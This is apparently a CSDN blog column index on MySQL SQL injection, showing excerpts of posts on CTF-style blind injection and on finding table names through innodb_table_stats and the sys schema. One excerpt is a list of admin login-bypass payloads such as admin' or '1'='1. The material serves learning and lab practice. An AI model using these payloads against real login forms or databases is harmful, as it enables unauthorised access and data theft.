![](https://img-blog.csdnimg.cn/20190918140213434.png?x-oss-process=image/resize,m_fixed,h_224,w_224)
SQL注入
主要过于MSYQL数据库sql注入。
火 柴 人
这个作者很懒,什么都没留下…
展开
-
admin登录绕过
' or ''-'" or ""-"" or true--' or true--admin' --admin' #admin'/*admin' or '1'='1admin' or '1'='1'--admin' or '1'='1'#admin'or 1=1 or ''='admin' or 1=1admin' or 1=1--admin' or 1=1#admin'...原创 2020-03-21 13:40:20 · 1232 阅读 · 0 评论 -
SQL盲注
0x00盲注的一般模式1.and 0mysql> select * from bsqli where id = 1 and 1(payload结果) and sleep(1);Empty set (1.00 sec)mysql> select * from bsqli where id = 1 and 0(payload结果) and sleep(1);Empty set ...原创 2020-03-17 08:42:06 · 1403 阅读 · 0 评论 -
flag区分大小写的SQL盲注
一.环境搭建先自己创建两个数据表。这个是我们需要查询的数据表。自己搭建一个极其简单的sql查询网页。环境代码:#sql.php<!DOCTYPE html><html><head> <title>ezsqli</title></head><body><form action...转载 2020-03-21 10:07:57 · 850 阅读 · 0 评论 -
用innodb_index_stats和innodb_table_stats查找表名
总览从MySQL 5.5开始,默认存储引擎称为InnoDB。在MySQL 5.5及更高版本中,如果执行“ select @@ innodb_version”,则可以看到InnoDB的版本,该版本与MySQL的版本几乎相同。但是在MySQL 5.6及更高版本中,我注意到InnoDB创建了2个新表。“ innodb_index_stats”和“ innodb_table_stats”。这两个表都...原创 2020-03-13 20:42:03 · 1792 阅读 · 0 评论 -
MySQL和MariaDB提取表和列的方法
Sys这些实验在MySQL 5.7.9mysql> SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();+-------------+| object_name |+-------------+| emails || flag ...翻译 2020-03-13 19:51:28 · 602 阅读 · 0 评论